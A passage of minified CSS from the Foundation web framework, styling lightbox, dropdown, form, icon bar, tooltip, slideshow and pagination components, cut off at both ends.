{position:absolute;left:50%;top:50%;margin-left:-50%;max-height:100%;max-width:100%;}.clearing-caption {color:#cccccc;font-size:0.875em;line-height:1.3;margin-bottom:0;text-align:center;bottom:0;background:#333333;width:100%;padding:10px 30px 20px;position:absolute;left:0;}.clearing-close {z-index:999;padding-left:20px;padding-top:10px;font-size:30px;line-height:1;color:#cccccc;display:none;}.clearing-close:hover ,.clearing-close:focus {color:#cccccc;}.clearing-assembled .clearing-container {height:100%;}.clearing-assembled .clearing-container .carousel>ul {display:none;}.clearing-feature li {display:none;}.clearing-feature li.clearing-featured-img {display:block;}@media only screen and (min-width:40.063em){.clearing-main-prev ,.clearing-main-next {position:absolute;height:100%;width:40px;top:0;}.clearing-main-prev>span ,.clearing-main-next>span {position:absolute;top:50%;display:block;width:0;height:0;border:solid 12px;}.clearing-main-prev > span:hover ,.clearing-main-next > span:hover {opacity:0.8;}.clearing-main-prev {left:0;}.clearing-main-prev>span {left:5px;border-color:transparent;border-right-color:#cccccc;}.clearing-main-next {right:0;}.clearing-main-next>span {border-color:transparent;border-left-color:#cccccc;}.clearing-main-prev.disabled ,.clearing-main-next.disabled {opacity:0.3;}.clearing-assembled .clearing-container .carousel {background:rgba(51, 51, 51, 0.8);height:120px;margin-top:10px;text-align:center;}.clearing-assembled .clearing-container .carousel>ul {display:inline-block;z-index:999;height:100%;position:relative;float:none;}.clearing-assembled .clearing-container .carousel > ul li {display:block;width:120px;min-height:inherit;float:left;overflow:hidden;margin-right:0;padding:0;position:relative;cursor:pointer;opacity:0.4;clear:none;}.clearing-assembled .clearing-container .carousel > ul li.fix-height img {height:100%;max-width:none;}.clearing-assembled .clearing-container .carousel > ul li a.th {border:none;box-shadow:none;display:block;}.clearing-assembled .clearing-container .carousel > ul li img {cursor:pointer !important;width:100% !important;}.clearing-assembled .clearing-container .carousel > ul li.visible {opacity:1;}.clearing-assembled .clearing-container .carousel > ul li:hover {opacity:0.8;}.clearing-assembled .clearing-container .visible-img {background:#333333;overflow:hidden;height:85%;}.clearing-close {position:absolute;top:10px;right:20px;padding-left:0;padding-top:0;}}.f-dropdown {position:absolute;left:-9999px;list-style:none;margin-left:0;outline:none;width:100%;max-height:none;height:auto;background:#ffffff;border:solid 1px #cccccc;font-size:0.875rem;z-index:89;margin-top:2px;max-width:200px;}.f-dropdown>*:first-child {margin-top:0;}.f-dropdown>*:last-child {margin-bottom:0;}.f-dropdown:before {content:"";display:block;width:0;height:0;border:inset 6px;border-color:transparent transparent #ffffff transparent;border-bottom-style:solid;position:absolute;top:-12px;left:10px;z-index:89;}.f-dropdown:after {content:"";display:block;width:0;height:0;border:inset 7px;border-color:transparent transparent #cccccc transparent;border-bottom-style:solid;position:absolute;top:-14px;left:9px;z-index:88;}.f-dropdown.right:before {left:auto;right:10px;}.f-dropdown.right:after {left:auto;right:9px;}.f-dropdown.drop-right {position:absolute;left:-9999px;list-style:none;margin-left:0;outline:none;width:100%;max-height:none;height:auto;background:#ffffff;border:solid 1px #cccccc;font-size:0.875rem;z-index:89;margin-top:0;margin-left:2px;max-width:200px;}.f-dropdown.drop-right>*:first-child {margin-top:0;}.f-dropdown.drop-right>*:last-child {margin-bottom:0;}.f-dropdown.drop-right:before {content:"";display:block;width:0;height:0;border:inset 6px;border-color:transparent #ffffff transparent transparent;border-right-style:solid;position:absolute;top:10px;left:-12px;z-index:89;}.f-dropdown.drop-right:after {content:"";display:block;width:0;height:0;border:inset 7px;border-color:transparent #cccccc transparent transparent;border-right-style:solid;position:absolute;top:9px;left:-14px;z-index:88;}.f-dropdown.drop-left {position:absolute;left:-9999px;list-style:none;margin-left:0;outline:none;width:100%;max-height:none;height:auto;background:#ffffff;border:solid 1px #cccccc;font-size:0.875rem;z-index:89;margin-top:0;margin-left:-2px;max-width:200px;}.f-dropdown.drop-left>*:first-child {margin-top:0;}.f-dropdown.drop-left>*:last-child {margin-bottom:0;}.f-dropdown.drop-left:before {content:"";display:block;width:0;height:0;border:inset 6px;border-color:transparent transparent transparent #ffffff;border-left-style:solid;position:absolute;top:10px;right:-12px;left:auto;z-index:89;}.f-dropdown.drop-left:after {content:"";display:block;width:0;height:0;border:inset 7px;border-color:transparent transparent transparent #cccccc;border-left-style:solid;position:absolute;top:9px;right:-14px;left:auto;z-index:88;}.f-dropdown.drop-top {position:absolute;left:-9999px;list-style:none;margin-left:0;outline:none;width:100%;max-height:none;height:auto;background:#ffffff;border:solid 1px #cccccc;font-size:0.875rem;z-index:89;margin-top:-2px;margin-left:0;max-width:200px;}.f-dropdown.drop-top>*:first-child {margin-top:0;}.f-dropdown.drop-top>*:last-child {margin-bottom:0;}.f-dropdown.drop-top:before {content:"";display:block;width:0;height:0;border:inset 6px;border-color:#ffffff transparent transparent transparent;border-top-style:solid;position:absolute;top:auto;bottom:-12px;left:10px;right:auto;z-index:89;}.f-dropdown.drop-top:after {content:"";display:block;width:0;height:0;border:inset 7px;border-color:#cccccc transparent transparent transparent;border-top-style:solid;position:absolute;top:auto;bottom:-14px;left:9px;right:auto;z-index:88;}.f-dropdown li {font-size:0.875rem;cursor:pointer;line-height:1.125rem;margin:0;}.f-dropdown li:hover ,.f-dropdown li:focus {background:#eeeeee;}.f-dropdown li.radius {border-radius:3px;}.f-dropdown li a {display:block;padding:0.5rem;color:#555555;}.f-dropdown.content {position:absolute;left:-9999px;list-style:none;margin-left:0;outline:none;padding:1.25rem;width:100%;height:auto;max-height:none;background:#ffffff;border:solid 1px #cccccc;font-size:0.875rem;z-index:89;max-width:200px;}.f-dropdown.content>*:first-child {margin-top:0;}.f-dropdown.content>*:last-child {margin-bottom:0;}.f-dropdown.tiny {max-width:200px;}.f-dropdown.small {max-width:300px;}.f-dropdown.medium {max-width:500px;}.f-dropdown.large {max-width:800px;}.f-dropdown.mega {width:100% !important;max-width:100% !important;}.f-dropdown.mega.open {left:0 !important;}.dropdown.button ,button.dropdown {position:relative;outline:none;padding-right:3.5625rem;}.dropdown.button::after ,button.dropdown::after {position:absolute;content:"";width:0;height:0;display:block;border-style:solid;border-color:#ffffff transparent transparent transparent;top:50%;}.dropdown.button::after ,button.dropdown::after {border-width:0.375rem;right:1.40625rem;margin-top:-0.15625rem;}.dropdown.button::after ,button.dropdown::after {border-color:#ffffff transparent transparent transparent;}.dropdown.button.tiny ,button.dropdown.tiny {padding-right:2.625rem;}.dropdown.button.tiny:after ,button.dropdown.tiny:after {border-width:0.375rem;right:1.125rem;margin-top:-0.125rem;}.dropdown.button.tiny::after ,button.dropdown.tiny::after {border-color:#ffffff transparent transparent transparent;}.dropdown.button.small ,button.dropdown.small {padding-right:3.0625rem;}.dropdown.button.small::after ,button.dropdown.small::after {border-width:0.4375rem;right:1.3125rem;margin-top:-0.15625rem;}.dropdown.button.small::after ,button.dropdown.small::after {border-color:#ffffff transparent transparent transparent;}.dropdown.button.large ,button.dropdown.large {padding-right:3.625rem;}.dropdown.button.large::after ,button.dropdown.large::after {border-width:0.3125rem;right:1.71875rem;margin-top:-0.15625rem;}.dropdown.button.large::after ,button.dropdown.large::after {border-color:#ffffff transparent transparent transparent;}.dropdown.button.secondary:after ,button.dropdown.secondary:after {border-color:#333333 transparent transparent transparent;}.flex-video {position:relative;padding-top:1.5625rem;padding-bottom:67.5%;height:0;margin-bottom:1rem;overflow:hidden;}.flex-video.widescreen {padding-bottom:56.34%;}.flex-video.vimeo {padding-top:0;}.flex-video iframe ,.flex-video object ,.flex-video embed ,.flex-video video {position:absolute;top:0;left:0;width:100%;height:100%;}form {margin:0 0 1rem;}form .row .row {margin:0 -0.5rem;}form .row .row .column ,form .row .row .columns {padding:0 0.5rem;}form .row .row.collapse {margin:0;}form .row .row.collapse .column ,form .row .row.collapse .columns {padding:0;}form .row .row.collapse input {-webkit-border-bottom-right-radius:0;-webkit-border-top-right-radius:0;border-bottom-right-radius:0;border-top-right-radius:0;}form .row input.column ,form .row input.columns ,form .row textarea.column ,form .row textarea.columns {padding-left:0.5rem;}label {font-size:0.875rem;color:#4d4d4d;cursor:pointer;display:block;font-weight:normal;line-height:1.5;margin-bottom:0;}label.right {float:none !important;text-align:right;}label.inline {margin:0 0 1rem 0;padding:0.5625rem 0;}label small {text-transform:capitalize;color:#686868;}.prefix ,.postfix {display:block;position:relative;z-index:2;text-align:center;width:100%;padding-top:0;padding-bottom:0;border-style:solid;border-width:1px;overflow:hidden;font-size:0.875rem;height:2.3125rem;line-height:2.3125rem;}.postfix.button {padding-left:0;padding-right:0;padding-top:0;padding-bottom:0;text-align:center;line-height:2.125rem;border:none;}.prefix.button {padding-left:0;padding-right:0;padding-top:0;padding-bottom:0;text-align:center;line-height:2.125rem;border:none;}.prefix.button.radius {border-radius:0;-webkit-border-bottom-left-radius:3px;-webkit-border-top-left-radius:3px;border-bottom-left-radius:3px;border-top-left-radius:3px;}.postfix.button.radius {border-radius:0;-webkit-border-bottom-right-radius:3px;-webkit-border-top-right-radius:3px;border-bottom-right-radius:3px;border-top-right-radius:3px;}.prefix.button.round {border-radius:0;-webkit-border-bottom-left-radius:1000px;-webkit-border-top-left-radius:1000px;border-bottom-left-radius:1000px;border-top-left-radius:1000px;}.postfix.button.round {border-radius:0;-webkit-border-bottom-right-radius:1000px;-webkit-border-top-right-radius:1000px;border-bottom-right-radius:1000px;border-top-right-radius:1000px;}span.prefix ,label.prefix {background:#f2f2f2;border-right:none;color:#333333;border-color:#cccccc;}span.postfix ,label.postfix {background:#f2f2f2;border-left:none;color:#333333;border-color:#cccccc;}input[type="text"] ,input[type="password"] ,input[type="date"] ,input[type="datetime"] ,input[type="datetime-local"] ,input[type="month"] ,input[type="week"] ,input[type="email"] ,input[type="number"] ,input[type="search"] ,input[type="tel"] ,input[type="time"] ,input[type="url"] ,input[type="color"] ,textarea {-webkit-appearance:none;-webkit-border-radius:0px;background-color:#ffffff;font-family:inherit;border-style:solid;border-width:1px;border-color:#cccccc;box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1);color:rgba(0, 0, 0, 0.75);display:block;font-size:0.875rem;margin:0 0 1rem 0;padding:0.5rem;height:2.3125rem;width:100%;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;transition:box-shadow 0.45s,border-color 0.45s ease-in-out;}input[type="text"]:focus ,input[type="password"]:focus ,input[type="date"]:focus ,input[type="datetime"]:focus ,input[type="datetime-local"]:focus ,input[type="month"]:focus ,input[type="week"]:focus ,input[type="email"]:focus ,input[type="number"]:focus ,input[type="search"]:focus ,input[type="tel"]:focus ,input[type="time"]:focus ,input[type="url"]:focus ,input[type="color"]:focus ,textarea:focus {box-shadow:0 0 5px #999999;border-color:#999999;}input[type="text"]:focus ,input[type="password"]:focus ,input[type="date"]:focus ,input[type="datetime"]:focus ,input[type="datetime-local"]:focus ,input[type="month"]:focus ,input[type="week"]:focus ,input[type="email"]:focus ,input[type="number"]:focus ,input[type="search"]:focus ,input[type="tel"]:focus ,input[type="time"]:focus ,input[type="url"]:focus ,input[type="color"]:focus ,textarea:focus {background:#fafafa;border-color:#999999;outline:none;}input[type="text"]:disabled ,input[type="password"]:disabled ,input[type="date"]:disabled ,input[type="datetime"]:disabled ,input[type="datetime-local"]:disabled ,input[type="month"]:disabled ,input[type="week"]:disabled ,input[type="email"]:disabled ,input[type="number"]:disabled ,input[type="search"]:disabled ,input[type="tel"]:disabled ,input[type="time"]:disabled ,input[type="url"]:disabled ,input[type="color"]:disabled ,textarea:disabled {background-color:#dddddd;cursor:default;}input[type="text"][disabled] ,input[type="text"][readonly] ,fieldset[disabled] input[type="text"] ,input[type="password"][disabled] ,input[type="password"][readonly] ,fieldset[disabled] input[type="password"] ,input[type="date"][disabled] ,input[type="date"][readonly] ,fieldset[disabled] input[type="date"] ,input[type="datetime"][disabled] ,input[type="datetime"][readonly] ,fieldset[disabled] input[type="datetime"] ,input[type="datetime-local"][disabled] ,input[type="datetime-local"][readonly] ,fieldset[disabled] input[type="datetime-local"] ,input[type="month"][disabled] ,input[type="month"][readonly] ,fieldset[disabled] input[type="month"] ,input[type="week"][disabled] ,input[type="week"][readonly] ,fieldset[disabled] input[type="week"] ,input[type="email"][disabled] ,input[type="email"][readonly] ,fieldset[disabled] input[type="email"] ,input[type="number"][disabled] ,input[type="number"][readonly] ,fieldset[disabled] input[type="number"] ,input[type="search"][disabled] ,input[type="search"][readonly] ,fieldset[disabled] input[type="search"] ,input[type="tel"][disabled] ,input[type="tel"][readonly] ,fieldset[disabled] input[type="tel"] ,input[type="time"][disabled] ,input[type="time"][readonly] ,fieldset[disabled] input[type="time"] ,input[type="url"][disabled] ,input[type="url"][readonly] ,fieldset[disabled] input[type="url"] ,input[type="color"][disabled] ,input[type="color"][readonly] ,fieldset[disabled] input[type="color"] ,textarea[disabled] ,textarea[readonly] ,fieldset[disabled] textarea {background-color:#dddddd;cursor:default;}input[type="text"].radius ,input[type="password"].radius ,input[type="date"].radius ,input[type="datetime"].radius ,input[type="datetime-local"].radius ,input[type="month"].radius ,input[type="week"].radius ,input[type="email"].radius ,input[type="number"].radius ,input[type="search"].radius ,input[type="tel"].radius ,input[type="time"].radius ,input[type="url"].radius ,input[type="color"].radius ,textarea.radius {border-radius:3px;}form .row .prefix-radius.row.collapse input ,form .row .prefix-radius.row.collapse textarea ,form .row .prefix-radius.row.collapse select {border-radius:0;-webkit-border-bottom-right-radius:3px;-webkit-border-top-right-radius:3px;border-bottom-right-radius:3px;border-top-right-radius:3px;}form .row .prefix-radius.row.collapse .prefix {border-radius:0;-webkit-border-bottom-left-radius:3px;-webkit-border-top-left-radius:3px;border-bottom-left-radius:3px;border-top-left-radius:3px;}form .row .postfix-radius.row.collapse input ,form .row .postfix-radius.row.collapse textarea ,form .row .postfix-radius.row.collapse select {border-radius:0;-webkit-border-bottom-left-radius:3px;-webkit-border-top-left-radius:3px;border-bottom-left-radius:3px;border-top-left-radius:3px;}form .row .postfix-radius.row.collapse .postfix {border-radius:0;-webkit-border-bottom-right-radius:3px;-webkit-border-top-right-radius:3px;border-bottom-right-radius:3px;border-top-right-radius:3px;}form .row .prefix-round.row.collapse input ,form .row .prefix-round.row.collapse textarea ,form .row .prefix-round.row.collapse select {border-radius:0;-webkit-border-bottom-right-radius:1000px;-webkit-border-top-right-radius:1000px;border-bottom-right-radius:1000px;border-top-right-radius:1000px;}form .row .prefix-round.row.collapse .prefix {border-radius:0;-webkit-border-bottom-left-radius:1000px;-webkit-border-top-left-radius:1000px;border-bottom-left-radius:1000px;border-top-left-radius:1000px;}form .row .postfix-round.row.collapse input ,form .row .postfix-round.row.collapse textarea ,form .row .postfix-round.row.collapse select {border-radius:0;-webkit-border-bottom-left-radius:1000px;-webkit-border-top-left-radius:1000px;border-bottom-left-radius:1000px;border-top-left-radius:1000px;}form .row .postfix-round.row.collapse .postfix {border-radius:0;-webkit-border-bottom-right-radius:1000px;-webkit-border-top-right-radius:1000px;border-bottom-right-radius:1000px;border-top-right-radius:1000px;}input[type="submit"] {-webkit-appearance:none;-webkit-border-radius:0px;}textarea[rows] {height:auto;}textarea {max-width:100%;}select {-webkit-appearance:none !important;-webkit-border-radius:0px;background-color:#fafafa;background-image:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZlcnNpb249IjEuMSIgeD0iMTJweCIgeT0iMHB4IiB3aWR0aD0iMjRweCIgaGVpZ2h0PSIzcHgiIHZpZXdCb3g9IjAgMCA2IDMiIGVuYWJsZS1iYWNrZ3JvdW5kPSJuZXcgMCAwIDYgMyIgeG1sOnNwYWNlPSJwcmVzZXJ2ZSI+PHBvbHlnb24gcG9pbnRzPSI1Ljk5MiwwIDIuOTkyLDMgLTAuMDA4LDAgIi8+PC9zdmc+);background-position:100% center;background-repeat:no-repeat;border-style:solid;border-width:1px;border-color:#cccccc;padding:0.5rem;font-size:0.875rem;font-family:"Helvetica Neue","Helvetica",Helvetica,Arial,sans-serif;color:rgba(0, 0, 0, 0.75);line-height:normal;border-radius:0;height:2.3125rem;}select::-ms-expand {display:none;}select.radius {border-radius:3px;}select:hover {background-color:#f3f3f3;border-color:#999999;}select:disabled {background-color:#dddddd;cursor:default;}input[type="file"] ,input[type="checkbox"] ,input[type="radio"] ,select {margin:0 0 1rem 0;}input[type="checkbox"]+label ,input[type="radio"]+label {display:inline-block;margin-left:0.5rem;margin-right:1rem;margin-bottom:0;vertical-align:baseline;}input[type="file"] {width:100%;}fieldset {border:1px solid #dddddd;padding:1.25rem;margin:1.125rem 0;}fieldset legend {font-weight:bold;background:#ffffff;padding:0 0.1875rem;margin:0;margin-left:-0.1875rem;}[data-abide] .error small.error ,[data-abide] .error span.error ,[data-abide] span.error ,[data-abide] small.error {display:block;padding:0.375rem 0.5625rem 0.5625rem;margin-top:-1px;margin-bottom:1rem;font-size:0.75rem;font-weight:normal;font-style:italic;background:#f04124;color:#ffffff;}[data-abide] span.error ,[data-abide] small.error {display:none;}span.error ,small.error {display:block;padding:0.375rem 0.5625rem 0.5625rem;margin-top:-1px;margin-bottom:1rem;font-size:0.75rem;font-weight:normal;font-style:italic;background:#f04124;color:#ffffff;}.error input ,.error textarea ,.error select {margin-bottom:0;}.error input[type="checkbox"] ,.error input[type="radio"] {margin-bottom:1rem;}.error label ,.error label.error {color:#f04124;}.error small.error {display:block;padding:0.375rem 0.5625rem 0.5625rem;margin-top:-1px;margin-bottom:1rem;font-size:0.75rem;font-weight:normal;font-style:italic;background:#f04124;color:#ffffff;}.error > label>small {color:#686868;background:transparent;padding:0;text-transform:capitalize;font-style:normal;font-size:60%;margin:0;display:inline;}.error span.error-message {display:block;}input.error ,textarea.error ,select.error {margin-bottom:0;}label.error {color:#f04124;}.icon-bar {width:100%;font-size:0;display:inline-block;background:#333333;}.icon-bar>* {text-align:center;font-size:1rem;width:25%;margin:0 auto;display:block;padding:1.25rem;float:left;}.icon-bar > * i ,.icon-bar > * img {display:block;margin:0 auto;}.icon-bar > * i+label ,.icon-bar > * img+label {margin-top:0.0625rem;}.icon-bar > * i {font-size:1.875rem;vertical-align:middle;}.icon-bar > * img {width:1.875rem;height:1.875rem;}.icon-bar.label-right > * i ,.icon-bar.label-right > * img {margin:0 0.0625rem 0 0;display:inline-block;}.icon-bar.label-right > * i+label ,.icon-bar.label-right > * img+label {margin-top:0;}.icon-bar.label-right > * label {display:inline-block;}.icon-bar.vertical.label-right>* {text-align:left;}.icon-bar.vertical ,.icon-bar.small-vertical {height:100%;width:auto;}.icon-bar.vertical .item ,.icon-bar.small-vertical .item {width:auto;margin:auto;float:none;}@media only screen and (min-width:40.063em){.icon-bar.medium-vertical {height:100%;width:auto;}.icon-bar.medium-vertical .item {width:auto;margin:auto;float:none;}}@media only screen and (min-width:64.063em){.icon-bar.large-vertical {height:100%;width:auto;}.icon-bar.large-vertical .item {width:auto;margin:auto;float:none;}}.icon-bar>* {font-size:1rem;padding:1.25rem;}.icon-bar > * i+label ,.icon-bar > * img+label {margin-top:0.0625rem;}.icon-bar > * i {font-size:1.875rem;}.icon-bar > * img {width:1.875rem;height:1.875rem;}.icon-bar > *:hover {background:#008cba;}.icon-bar > * label {color:#ffffff;}.icon-bar > * i {color:#ffffff;}.icon-bar.two-up .item {width:50%;}.icon-bar.two-up.vertical .item ,.icon-bar.two-up.small-vertical .item {width:auto;}@media only screen and (min-width:40.063em){.icon-bar.two-up.medium-vertical .item {width:auto;}}@media only screen and (min-width:64.063em){.icon-bar.two-up.large-vertical .item {width:auto;}}.icon-bar.three-up .item {width:33.3333%;}.icon-bar.three-up.vertical .item ,.icon-bar.three-up.small-vertical .item {width:auto;}@media only screen and (min-width:40.063em){.icon-bar.three-up.medium-vertical .item {width:auto;}}@media only screen and (min-width:64.063em){.icon-bar.three-up.large-vertical .item {width:auto;}}.icon-bar.four-up .item {width:25%;}.icon-bar.four-up.vertical .item ,.icon-bar.four-up.small-vertical .item {width:auto;}@media only screen and (min-width:40.063em){.icon-bar.four-up.medium-vertical .item {width:auto;}}@media only screen and (min-width:64.063em){.icon-bar.four-up.large-vertical .item {width:auto;}}.icon-bar.five-up .item {width:20%;}.icon-bar.five-up.vertical .item ,.icon-bar.five-up.small-vertical .item {width:auto;}@media only screen and (min-width:40.063em){.icon-bar.five-up.medium-vertical .item {width:auto;}}@media only screen and (min-width:64.063em){.icon-bar.five-up.large-vertical .item {width:auto;}}.icon-bar.six-up .item {width:16.66667%;}.icon-bar.six-up.vertical .item ,.icon-bar.six-up.small-vertical .item {width:auto;}@media only screen and (min-width:40.063em){.icon-bar.six-up.medium-vertical .item {width:auto;}}@media only screen and (min-width:64.063em){.icon-bar.six-up.large-vertical .item {width:auto;}}.inline-list {margin:0 auto 1.0625rem auto;margin-left:-1.375rem;margin-right:0;padding:0;list-style:none;overflow:hidden;}.inline-list>li {list-style:none;float:left;margin-left:1.375rem;display:block;}.inline-list > li>* {display:block;}.joyride-list {display:none;}.joyride-tip-guide {display:none;position:absolute;background:#333333;color:#ffffff;z-index:101;top:0;left:2.5%;font-family:inherit;font-weight:normal;width:95%;}.lt-ie9 .joyride-tip-guide {max-width:800px;left:50%;margin-left:-400px;}.joyride-content-wrapper {width:100%;padding:1.125rem 1.25rem 1.5rem;}.joyride-content-wrapper .button {margin-bottom:0 !important;}.joyride-content-wrapper .joyride-prev-tip {margin-right:10px;}.joyride-tip-guide .joyride-nub {display:block;position:absolute;left:22px;width:0;height:0;border:10px solid #333333;}.joyride-tip-guide .joyride-nub.top {border-top-style:solid;border-color:#333333;border-top-color:transparent !important;border-left-color:transparent !important;border-right-color:transparent !important;top:-20px;}.joyride-tip-guide .joyride-nub.bottom {border-bottom-style:solid;border-color:#333333 !important;border-bottom-color:transparent !important;border-left-color:transparent !important;border-right-color:transparent !important;bottom:-20px;}.joyride-tip-guide .joyride-nub.right {right:-20px;}.joyride-tip-guide .joyride-nub.left {left:-20px;}.joyride-tip-guide h1 ,.joyride-tip-guide h2 ,.joyride-tip-guide h3 ,.joyride-tip-guide h4 ,.joyride-tip-guide h5 ,.joyride-tip-guide h6 {line-height:1.25;margin:0;font-weight:bold;color:#ffffff;}.joyride-tip-guide p {margin:0 0 1.125rem 0;font-size:0.875rem;line-height:1.3;}.joyride-timer-indicator-wrap {width:50px;height:3px;border:solid 1px #555555;position:absolute;right:1.0625rem;bottom:1rem;}.joyride-timer-indicator {display:block;width:0;height:inherit;background:#666666;}.joyride-close-tip {position:absolute;right:12px;top:10px;color:#777777 !important;text-decoration:none;font-size:24px;font-weight:normal;line-height:0.5 !important;}.joyride-close-tip:hover ,.joyride-close-tip:focus {color:#eeeeee !important;}.joyride-modal-bg {position:fixed;height:100%;width:100%;background:transparent;background:rgba(0, 0, 0, 0.5);z-index:100;display:none;top:0;left:0;cursor:pointer;}.joyride-expose-wrapper {background-color:#ffffff;position:absolute;border-radius:3px;z-index:102;box-shadow:0 0 15px #ffffff;}.joyride-expose-cover {background:transparent;border-radius:3px;position:absolute;z-index:9999;top:0;left:0;}@media only screen and (min-width:40.063em){.joyride-tip-guide {width:300px;left:inherit;}.joyride-tip-guide .joyride-nub.bottom {border-color:#333333 !important;border-bottom-color:transparent !important;border-left-color:transparent !important;border-right-color:transparent !important;bottom:-20px;}.joyride-tip-guide .joyride-nub.right {border-color:#333333 !important;border-top-color:transparent !important;border-right-color:transparent !important;border-bottom-color:transparent !important;top:22px;left:auto;right:-20px;}.joyride-tip-guide .joyride-nub.left {border-color:#333333 !important;border-top-color:transparent !important;border-left-color:transparent !important;border-bottom-color:transparent !important;top:22px;left:-20px;right:auto;}}.keystroke ,kbd {background-color:#ededed;border-color:#dcdcdc;color:#222222;border-style:solid;border-width:1px;margin:0;font-family:"Consolas","Menlo","Courier",monospace;font-size:inherit;padding:0.125rem 0.25rem 0;border-radius:3px;}.label {font-weight:normal;font-family:"Helvetica Neue","Helvetica",Helvetica,Arial,sans-serif;text-align:center;text-decoration:none;line-height:1;white-space:nowrap;display:inline-block;position:relative;margin-bottom:inherit;padding:0.25rem 0.5rem 0.25rem;font-size:0.6875rem;background-color:#008cba;color:#ffffff;}.label.radius {border-radius:3px;}.label.round {border-radius:1000px;}.label.alert {background-color:#f04124;color:#ffffff;}.label.warning {background-color:#f08a24;color:#ffffff;}.label.success {background-color:#43ac6a;color:#ffffff;}.label.secondary {background-color:#e7e7e7;color:#333333;}.label.info {background-color:#a0d3e8;color:#333333;}[data-magellan-expedition] ,[data-magellan-expedition-clone] {background:#ffffff;z-index:50;min-width:100%;padding:10px;}[data-magellan-expedition] .sub-nav ,[data-magellan-expedition-clone] .sub-nav {margin-bottom:0;}[data-magellan-expedition] .sub-nav dd ,[data-magellan-expedition-clone] .sub-nav dd {margin-bottom:0;}[data-magellan-expedition] .sub-nav a ,[data-magellan-expedition-clone] .sub-nav a {line-height:1.8em;}@-webkit-keyframes rotate {from {-webkit-transform:rotate(0deg);}to {-webkit-transform:rotate(360deg);}}@-moz-keyframes rotate {from {-moz-transform:rotate(0deg);}to {-moz-transform:rotate(360deg);}}@-o-keyframes rotate {from {-o-transform:rotate(0deg);}to {-o-transform:rotate(360deg);}}@keyframes rotate {from {transform:rotate(0deg);}to {transform:rotate(360deg);}}.slideshow-wrapper {position:relative;}.slideshow-wrapper ul {list-style-type:none;margin:0;}.slideshow-wrapper ul li ,.slideshow-wrapper ul li .orbit-caption {display:none;}.slideshow-wrapper ul li:first-child {display:block;}.slideshow-wrapper .orbit-container {background-color:transparent;}.slideshow-wrapper .orbit-container li {display:block;}.slideshow-wrapper .orbit-container li .orbit-caption {display:block;}.slideshow-wrapper .orbit-container .orbit-bullets li {display:inline-block;}.slideshow-wrapper .preloader {display:block;width:40px;height:40px;position:absolute;top:50%;left:50%;margin-top:-20px;margin-left:-20px;border:solid 3px;border-color:#555555 #ffffff;border-radius:1000px;animation-name:rotate;animation-duration:1.5s;animation-iteration-count:infinite;animation-timing-function:linear;}.orbit-container {overflow:hidden;width:100%;position:relative;background:none;}.orbit-container .orbit-slides-container {list-style:none;margin:0;padding:0;position:relative;-webkit-transform:translateZ(0);}.orbit-container .orbit-slides-container img {display:block;max-width:100%;}.orbit-container .orbit-slides-container>* {position:absolute;top:0;width:100%;margin-left:100%;}.orbit-container .orbit-slides-container > *:first-child {margin-left:0%;}.orbit-container .orbit-slides-container > * .orbit-caption {position:absolute;bottom:0;background-color:rgba(51, 51, 51, 0.8);color:#ffffff;width:100%;padding:0.625rem 0.875rem;font-size:0.875rem;}.orbit-container .orbit-slide-number {position:absolute;top:10px;left:10px;font-size:12px;color:#ffffff;background:rgba(0, 0, 0, 0);z-index:10;}.orbit-container .orbit-slide-number span {font-weight:700;padding:0.3125rem;}.orbit-container .orbit-timer {position:absolute;top:12px;right:10px;height:6px;width:100px;z-index:10;}.orbit-container .orbit-timer>span {display:none;position:absolute;top:0px;right:0;width:11px;height:14px;border:solid 4px #ffffff;border-top:none;border-bottom:none;}.orbit-container .orbit-timer.paused>span {right:-4px;top:0px;width:11px;height:14px;border:inset 8px;border-left-style:solid;border-color:transparent;border-left-color:#ffffff;}.orbit-container .orbit-timer.paused > span.dark {border-left-color:#333333;}.orbit-container:hover .orbit-timer>span {display:block;}.orbit-container .orbit-prev ,.orbit-container .orbit-next {position:absolute;top:45%;margin-top:-25px;width:36px;height:60px;line-height:50px;color:white;background-color:transparent;text-indent:-9999px !important;z-index:10;}.orbit-container .orbit-prev:hover ,.orbit-container .orbit-next:hover {background-color:rgba(0, 0, 0, 0.3);}.orbit-container .orbit-prev>span ,.orbit-container .orbit-next>span {position:absolute;top:50%;margin-top:-10px;display:block;width:0;height:0;border:inset 10px;}.orbit-container .orbit-prev {left:0;}.orbit-container .orbit-prev>span {border-right-style:solid;border-color:transparent;border-right-color:#ffffff;}.orbit-container .orbit-prev:hover>span {border-right-color:#ff0000;}.orbit-container .orbit-next {right:0;}.orbit-container .orbit-next>span {border-color:transparent;border-left-style:solid;border-left-color:#ffffff;left:50%;margin-left:-4px;}.orbit-container .orbit-next:hover>span {border-left-color:#ff0000;}.orbit-bullets-container {text-align:center;}.orbit-bullets {margin:0 auto 30px auto;overflow:hidden;position:relative;top:10px;float:none;text-align:center;display:block;}.orbit-bullets li {cursor:pointer;display:inline-block;width:0.5625rem;height:0.5625rem;background:#cccccc;float:none;margin-right:6px;border-radius:1000px;}.orbit-bullets li.active {background:#999999;}.orbit-bullets li:last-child {margin-right:0;}.touch .orbit-container .orbit-prev ,.touch .orbit-container .orbit-next {display:none;}.touch .orbit-bullets {display:none;}@media only screen and (min-width:40.063em){.touch .orbit-container .orbit-prev ,.touch .orbit-container .orbit-next {display:inherit;}.touch .orbit-bullets {display:block;}}@media only screen and (max-width: 40em){.orbit-stack-on-small .orbit-slides-container {height:auto !important;}.orbit-stack-on-small .orbit-slides-container>* {position:relative;margin:0% !important;opacity:1 !important;}.orbit-stack-on-small .orbit-slide-number {display:none;}.orbit-timer {display:none;}.orbit-next ,.orbit-prev {display:none;}.orbit-bullets {display:none;}}ul.pagination {display:block;min-height:1.5rem;margin-left:-0.3125rem;}ul.pagination li {height:1.5rem;color:#222222;font-size:0.875rem;margin-left:0.3125rem;}ul.pagination li a ,ul.pagination li button {display:block;padding:0.0625rem 0.625rem 0.0625rem;color:#999999;background:none;border-radius:3px;font-weight:normal;font-size:1em;line-height:inherit;transition:background-color 300ms ease-out;}ul.pagination li:hover a ,ul.pagination li a:focus ,ul.pagination li:hover button ,ul.pagination li button:focus {background:#e6e6e6;}ul.pagination li.unavailable a ,ul.pagination li.unavailable button {cursor:default;color:#999999;}ul.pagination li.unavailable:hover a ,ul.pagination li.unavailable a:focus ,ul.pagination li.unavailable:hover button ,ul.pagination li.unavailable button:focus {background:transparent;}ul.pagination li.current a ,ul.pagination li.current button 